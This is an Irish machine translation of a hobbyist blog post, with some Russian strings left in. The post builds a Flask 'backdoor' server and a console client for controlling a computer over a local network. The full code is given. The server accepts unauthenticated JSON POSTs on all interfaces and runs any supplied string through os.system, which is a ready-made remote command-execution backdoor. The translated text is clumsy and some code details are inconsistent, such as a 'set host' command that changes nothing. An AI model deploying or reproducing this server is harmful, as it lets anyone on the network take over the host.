Cúldhoras beag ar Fhleascán nó conas ríomhaire a rialú ar líonra áitiúil

Hey Habr!

D’fhéach mé le déanaí ar leagan íoslódála den sruth ríomhchlárúcháin “Conas d’fheidhmchlár gréasáin féin a chruthú i Flask.” Agus chinn mé mo chuid eolais a chomhdhlúthú i dtionscadal éigin. Ar feadh i bhfad ní raibh a fhios agam cad a scríobh mé agus tháinig an smaoineamh chugam: “Cén fáth nach ndéanfá mion-doras sa Fhleasc?”

Tháinig na chéad roghanna maidir le feidhmiú agus cumais an chúldorais láithreach i mo cheann. Ach chinn mé liosta de na cumais backdoor a dhéanamh láithreach:

  1. A fhios conas a láithreáin ghréasáin a oscailt
  2. Bíodh rochtain líne ordaithe agat
  3. A bheith in ann cláir, grianghraif, físeáin a oscailt

Mar sin, tá an chéad phointe thar a bheith éasca a chur i bhfeidhm ag baint úsáide as an modúl brabhsálaí gréasáin. Chinn mé an dara pointe a chur i bhfeidhm ag baint úsáide as an modúl OS. Agus tá an tríú ceann tríd an modúl OS freisin, ach úsáidfidh mé “naisc” (níos mó faoi sin níos déanaí).

Freastalaí a scríobh

Mar sin, * drumroll * cód an fhreastalaí go léir:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'The server is running and waiting for commands...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Site opening ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Command execution ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Tá an cód ar fad dumpáilte agam cheana féin, tá sé in am an bunúsach a mhíniú.

Ritheann an cód go léir ar an ríomhaire áitiúil ar phort 5000. Chun idirghníomhú leis an bhfreastalaí, ní mór dúinn iarratas JSON POST a sheoladh.

Struchtúr iarratais JSON:

{‘command’:  ‘comecommand’, ‘data’: ‘somedata’}

Bhuel, déanann sé ciall gurb é 'ordú' an t-ordú ba mhaith linn a fhorghníomhú. Agus is iad 'sonraí' na hargóintí ordaithe.

Is féidir leat iarratais JSON a scríobh agus a sheoladh chun idirghníomhú leis an bhfreastalaí de láimh (cuideoidh iarratais leat). Nó is féidir leat cliant consól a scríobh.

Cliant a scríobh

Cód:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Written on Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Author: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Комманда не содержит аргументов!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Комманда не содержит аргументов!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Mínithe:

Ar an gcéad dul síos, allmhairítear an modúl iarratais (chun idirghníomhú leis an bhfreastalaí). Seo thíos cur síos ar na feidhmeanna tosaithe agus tástála. Agus ansin an timthriall ina dtarlaíonn an draíocht. Ar léigh tú an cód? Mar sin tuigeann tú brí na draíochta a tharlaíonn sa timthriall. Cuir isteach an t-ordú - déantar é a fhorghníomhú. Shell – orduithe don líne ordaithe (tá an loighic as scála).

Tástáil - seiceáil an bhfuil an freastalaí ag rith (backdoor)
Nasc – úsáid “aicearra”
Openweb - suíomh Gréasáin a oscailt
Scoir - scoir an cliant
Socraigh - ag socrú IP do ríomhaire ar an líonra áitiúil

Agus anois níos mó faoi nasc.

Tá comhad link.txt in aice leis an bhfreastalaí. Tá naisc ann (cosán iomlán) le comhaid (físeáin, grianghraif, cláir).

Tá an struchtúr mar seo:

полный_путь>описание
полный_путь>описание

Iomlán na

Tá freastalaí backdoor againn chun ríomhaire a rialú ar líonra áitiúil (laistigh de líonra wi-fi). Go teicniúil, is féidir linn an cliant a reáchtáil ó aon fheiste a bhfuil ateangaire python aige.

PS Chuir mé an t-ordú socraithe leis ionas má shanntar IP difriúil do ríomhaire ar an líonra áitiúil, is féidir é a athrú go díreach sa chliant.

Foinse: will.com

Add a comment